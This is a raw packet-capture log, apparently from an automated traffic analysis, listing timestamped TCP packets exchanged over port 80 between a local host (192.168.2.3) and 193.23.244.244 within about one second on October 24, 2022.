Oct 24, 2022 11:00:10.914803028 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.914832115 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:10.914912939 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.914932013 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.914968014 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.914987087 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.915117979 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:10.932282925 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.932322025 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.932336092 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.932353020 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.932367086 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.932384014 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.932404041 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.932421923 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.932440042 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.932457924 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.932476044 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.932496071 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.932509899 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.932514906 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:10.932527065 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.932545900 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.932562113 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:10.932568073 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.932588100 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.932605028 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.932624102 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.932630062 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:10.932642937 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.932661057 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.932670116 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:10.932682037 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.932701111 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.932719946 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.932723999 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:10.932743073 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.932760954 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.932771921 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:10.932779074 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.932800055 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.932811975 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:10.932818890 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.932838917 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.932847023 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:10.932859898 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.932869911 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:10.932879925 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.932898045 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.932905912 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:10.932940006 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:10.934500933 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.934524059 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.934541941 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.934616089 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.934637070 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.934645891 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:10.934650898 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.934669971 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.934689045 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.934695959 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:10.934741020 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:10.937625885 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.937650919 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.937668085 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.937681913 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.937700987 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.937720060 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.937737942 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.937755108 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.937802076 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:10.937850952 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:10.938780069 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.938802958 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.938827991 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.938848972 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.938867092 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.938900948 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.938903093 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:10.938919067 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.938939095 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.938945055 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:10.938990116 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:10.939666033 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.939687967 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.939704895 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.939718962 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.939738989 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.939757109 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.939774990 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.939786911 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:10.939794064 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.939821005 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:10.939847946 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:10.940103054 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.940148115 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.940165043 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.940196037 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:10.940268040 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.940325022 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:10.940336943 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.940356016 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.940397978 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:10.940454960 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.940474033 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.940493107 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.940526009 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:10.941680908 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.941704988 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.941721916 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.941741943 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.941761017 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.941780090 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.941790104 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:10.941800117 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.941818953 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.941838026 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.941848040 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:10.941855907 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.941876888 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:10.941878080 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.941896915 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.941915989 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.941926956 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:10.941934109 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.941950083 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:10.941952944 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.941972017 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.941989899 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.941992998 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:10.942008018 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.942025900 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.942043066 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:10.942044020 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.942064047 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.942081928 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.942085028 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:10.942101955 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.942109108 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:10.942121983 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.942140102 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.942147017 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:10.942159891 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.942178965 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.942183971 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:10.942197084 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.942215919 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.942233086 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.942238092 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:10.942251921 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.942269087 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.942276001 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:10.942286968 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.942305088 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.942308903 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:10.942323923 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.942336082 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:10.942342997 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.942361116 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.942378998 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.942382097 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:10.942426920 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:10.960165024 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.960200071 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.960217953 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.960231066 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.960243940 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.960262060 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.960278988 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.960297108 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.960314989 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.960333109 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.960350990 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.960369110 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.960386992 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.960405111 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.960406065 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:10.960423946 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.960443974 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.960445881 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:10.960463047 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.960481882 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.960504055 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.960521936 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.960525036 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:10.960541964 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.960561037 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:10.960561991 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.960582018 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.960599899 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.960608959 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:10.960619926 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.960638046 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.960645914 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:10.960659027 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.960669041 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:10.960679054 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.960696936 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.960706949 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:10.960716009 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.960733891 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.960745096 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:10.960752964 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.960772038 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.960791111 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.960798025 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:10.960810900 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.960829020 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.960838079 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:10.960848093 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.960860968 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:10.960869074 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.960886955 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.960896969 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:10.960906029 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.960923910 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.960932970 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:10.960943937 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.960961103 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.960978031 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.960987091 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:10.961009026 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:10.961544991 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.961565018 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.961582899 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.961601019 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.961606026 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:10.961620092 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.961637974 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.961643934 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:10.961674929 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.961687088 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:10.961694002 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.961713076 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.961719990 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:10.961731911 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.961750031 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.961755991 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:10.961786985 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:10.964833021 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.964860916 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.964879990 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.964891911 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.964910984 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.964929104 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.964947939 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.964967966 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.964988947 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.965002060 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.964999914 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:10.965044975 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:10.965066910 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:10.965919971 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.965943098 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.965961933 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.965981007 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.966000080 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.966016054 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:10.966020107 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.966041088 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.966058969 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.966064930 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:10.966078997 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.966097116 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.966104984 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:10.966116905 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.966126919 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:10.966151953 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:10.966860056 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.966938019 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.966939926 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:10.966959953 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.966980934 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.966999054 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.967004061 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:10.967019081 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.967037916 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.967044115 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:10.967056036 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.967077971 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.967082024 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:10.967097044 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.967114925 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.967123032 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:10.967170000 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:10.967195988 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.967274904 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.967294931 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.967313051 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.967319012 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:10.967333078 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.967350960 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.967361927 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:10.967370033 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.967389107 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.967395067 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:10.967408895 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.967427015 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.967434883 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:10.967447996 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.967467070 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.967469931 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:10.967504978 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:10.969373941 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.969400883 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.969418049 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.969435930 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.969455004 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.969471931 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.969491959 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.969497919 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:10.969511032 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.969530106 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.969547987 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.969566107 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.969579935 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:10.969583988 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.969605923 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.969611883 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:10.969624996 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.969641924 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.969646931 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:10.969670057 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.969687939 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.969707012 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.969721079 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:10.969727039 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.969741106 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:10.969744921 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.969764948 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.969768047 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:10.969783068 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.969789028 CEST	49711	80	192.168.2.3	193.23.244.244
